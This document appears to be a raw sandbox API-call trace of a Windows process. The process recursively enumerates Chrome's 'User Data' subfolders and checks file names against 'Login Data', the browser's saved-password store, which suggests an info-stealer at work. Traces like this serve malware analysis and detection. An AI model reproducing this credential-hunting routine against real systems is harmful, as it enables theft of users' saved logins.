FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.550] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.550] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.550] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.550] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.550] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.550] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.551] LocalFree (hMem=0x2d69b0) returned 0x0 [0056.551] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.551] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.551] lstrcmpiA (lpString1=".", lpString2="SwReporter") returned -1 [0056.551] lstrcmpiA (lpString1="..", lpString2="SwReporter") returned -1 [0056.551] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.551] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.551] lstrlenA (lpString="\\") returned 1 [0056.551] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.551] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.551] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.551] lstrlenA (lpString="SwReporter") returned 10 [0056.551] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.551] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SwReporter" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0056.551] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.551] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 72 [0056.551] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 72 [0056.551] lstrlenA (lpString="\\*.*") returned 4 [0056.551] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0056.551] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*" [0056.551] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.551] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.551] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.551] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.551] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.551] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.551] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.551] LocalFree (hMem=0x2cca90) returned 0x0 [0056.551] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.551] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.551] lstrcmpiA (lpString1=".", lpString2="WidevineCdm") returned -1 [0056.551] lstrcmpiA (lpString1="..", lpString2="WidevineCdm") returned -1 [0056.551] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.551] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.551] lstrlenA (lpString="\\") returned 1 [0056.551] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.552] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.552] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.552] lstrlenA (lpString="WidevineCdm") returned 11 [0056.552] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.552] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="WidevineCdm" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0056.552] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.552] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 73 [0056.552] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 73 [0056.552] lstrlenA (lpString="\\*.*") returned 4 [0056.552] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0056.552] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*" [0056.552] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2dc7f8 [0056.552] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.552] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.552] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.552] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.552] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.552] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.552] LocalFree (hMem=0x2cca90) returned 0x0 [0056.552] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.552] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 0 [0056.552] FindClose (in: hFindFile=0x2cbdf0 | out: hFindFile=0x2cbdf0) returned 1 [0056.552] LocalFree (hMem=0x2cc740) returned 0x0 [0056.552] LocalFree (hMem=0x2d09b8) returned 0x0 [0056.552] FindNextFileA (in: hFindFile=0x2cb600, lpFindFileData=0x21fa30 | out: lpFindFileData=0x21fa30) returned 0 [0056.552] FindClose (in: hFindFile=0x2cb600 | out: hFindFile=0x2cb600) returned 1 [0056.557] LocalFree (hMem=0x2cbd30) returned 0x0 [0056.557] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.557] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.557] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.557] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0056.557] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x2cc8d0 [0056.557] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.557] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0056.557] LocalFree (hMem=0x2cc740) returned 0x0 [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.557] lstrlenA (lpString="\\*.*") returned 4 [0056.557] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x2d29b8 [0056.557] lstrcpyA (in: lpString1=0x2d29b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0056.557] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*" [0056.557] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*", lpFindFileData=0x21fa20 | out: lpFindFileData=0x21fa20) returned 0x2dc7f8 [0056.557] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.557] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21fa20 | out: lpFindFileData=0x21fa20) returned 1 [0056.557] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.557] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.557] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21fa20 | out: lpFindFileData=0x21fa20) returned 1 [0056.557] lstrcmpiA (lpString1=".", lpString2="User Data") returned -1 [0056.557] lstrcmpiA (lpString1="..", lpString2="User Data") returned -1 [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0056.557] lstrlenA (lpString="\\") returned 1 [0056.557] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x2d2a78 [0056.557] lstrcpyA (in: lpString1=0x2d2a78, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0056.557] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned 52 [0056.557] lstrlenA (lpString="User Data") returned 9 [0056.557] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2d09b8 [0056.557] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0056.557] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\", lpString2="User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.557] LocalFree (hMem=0x2d2a78) returned 0x0 [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.557] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.557] lstrlenA (lpString="\\*.*") returned 4 [0056.557] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2d49c8 [0056.557] lstrcpyA (in: lpString1=0x2d49c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.558] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*" [0056.558] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x21f890 | out: lpFindFileData=0x21f890) returned 0x2dc838 [0056.558] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.558] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f890 | out: lpFindFileData=0x21f890) returned 1 [0056.558] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.558] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.558] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f890 | out: lpFindFileData=0x21f890) returned 1 [0056.558] lstrcmpiA (lpString1=".", lpString2="CertificateTransparency") returned -1 [0056.558] lstrcmpiA (lpString1="..", lpString2="CertificateTransparency") returned -1 [0056.558] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.558] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.558] lstrlenA (lpString="\\") returned 1 [0056.558] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2d0a80 [0056.558] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.558] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.558] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.558] lstrlenA (lpString="CertificateTransparency") returned 23 [0056.558] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x2cbd30 [0056.558] lstrcpyA (in: lpString1=0x2cbd30, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.558] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0056.558] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.558] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 85 [0056.558] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 85 [0056.558] lstrlenA (lpString="\\*.*") returned 4 [0056.558] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2cc740 [0056.558] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0056.558] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*" [0056.558] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 0x2dc878 [0056.558] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.558] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.558] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.558] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.558] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 0 [0056.558] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.558] LocalFree (hMem=0x2cc740) returned 0x0 [0056.559] LocalFree (hMem=0x2cbd30) returned 0x0 [0056.559] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f890 | out: lpFindFileData=0x21f890) returned 1 [0056.559] lstrcmpiA (lpString1=".", lpString2="Crashpad") returned -1 [0056.559] lstrcmpiA (lpString1="..", lpString2="Crashpad") returned -1 [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.559] lstrlenA (lpString="\\") returned 1 [0056.559] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2d0a80 [0056.559] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.559] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.559] lstrlenA (lpString="Crashpad") returned 8 [0056.559] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4a98 [0056.559] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.559] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0056.559] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.559] lstrlenA (lpString="\\*.*") returned 4 [0056.559] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x2cc9b8 [0056.559] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0056.559] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*" [0056.559] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 0x2dc878 [0056.559] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.559] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.559] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.559] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.559] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.559] StrStrIA (lpFirst="metadata", lpSrch="Login Data") returned 0x0 [0056.559] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.559] lstrcmpiA (lpString1=".", lpString2="reports") returned -1 [0056.559] lstrcmpiA (lpString1="..", lpString2="reports") returned -1 [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.559] lstrlenA (lpString="\\") returned 1 [0056.559] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x2d4b68 [0056.559] lstrcpyA (in: lpString1=0x2d4b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0056.559] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned 71 [0056.559] lstrlenA (lpString="reports") returned 7 [0056.559] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x2cca90 [0056.559] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0056.559] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpString2="reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0056.559] LocalFree (hMem=0x2d4b68) returned 0x0 [0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 78 